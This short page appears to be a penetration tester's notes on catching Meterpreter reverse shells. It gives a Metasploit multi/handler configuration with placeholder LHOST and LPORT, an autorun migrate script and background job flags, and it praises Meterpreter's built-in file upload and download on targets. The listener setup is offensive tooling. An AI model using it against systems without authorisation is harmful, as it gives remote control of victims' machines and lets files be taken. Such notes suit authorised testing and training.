Skip to content

Meterpreter


Catching Shells with Meterpreter Handler

I like to use Meterpreter over NC for catching shells. I have found it to be more reliable and the built in functions it has are really good. In the example below the handler contains an automated migrate script for unstable shells. It really saves a lot of time.

use exploit/multi/handler
set PAYLOAD <PAYLOAD NAME>
set LHOST <LHOST value>
set LPORT <LPORT value>
set AUTORUNSCRIPT post/windows/manage/migrate
set ExitOnSession false
exploit -j -z

Upload and Download

Another reason to use meterpreter is for the built in upload and download. It saves a lot of times especially if the target machine doesn't have any utilities. This is especially true for windows machines.